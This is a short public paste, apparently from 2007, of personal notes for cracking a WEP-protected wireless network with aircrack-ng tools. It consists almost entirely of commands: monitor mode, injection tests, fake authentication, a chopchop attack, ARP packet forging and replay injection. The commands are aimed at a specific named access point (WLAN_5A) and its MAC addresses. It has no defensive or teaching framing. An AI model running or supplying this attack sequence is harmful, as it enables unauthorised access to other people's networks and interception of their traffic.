All pastes #771183 Raw Edit

Anonymous

public text v1 · immutable
·published 2007-11-12 21:13 UTC
rendered paste body
ps -A | grep "wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon"





-To put your wireless card into monitor mode:
 airmon-ng start eth2  6                        (la coada pot sa adaug si numarul canalului i.e. channel 6 -- eu adaug decat 6 la coada)

-Injection Test:
 aireplay-ng -9 eth2  

( To start airodump-ng search for networks: airodump-ng eth2 )

-fake authentication:
 aireplay-ng -1 0 -e WLAN_5A -a 00:13:49:88:03:A0 -h 00-02-72-5C-18-BE eth2

-chopchop:  
 aireplay-ng -4 -h 00-02-72-5C-18-BE -b 00:13:49:88:03:A0 eth2

-Use packetforge-ng to create an arp packet:  
packetforge-ng -0 -a 00:13:49:88:03:A0 -h 00-02-72-5C-18-BE -k 255.255.255.255 -l 255.255.255.255.255 -y replay_dec-1110-070626.xor -w arp-request

-Start airodump-ng: NEW CONSOLE
 airodump-ng -c 6 --bssid 00:13:49:88:03:A0 -w capture eth2


- Inject the arp packet:
 aireplay-ng -2 -r arp-request eth2





verifying if im still associated:
tcpdump -n -e -s0 -vvv -i eth2








--------------------


00:13:49:88:03:A0   31       25        0    0   6  54. WEP  WEP         WLAN_5A   


aireplay-ng -1 6000 -o 1 -q 10 -e WLAN_5A -a 00:13:49:88:03:A0 -h 00-02-72-5C-18-BE eth2

chopchop:  aireplay-ng -4 -h 00-02-72-5C-18-BE -b 00:13:49:88:03:A0 eth2




 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:13:49:88:03:A0 -h 00-02-72-5C-18-BE eth2


 aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:13:49:88:03:A0 -h 00-02-72-5C-18-BE -r capture-02.cap eth2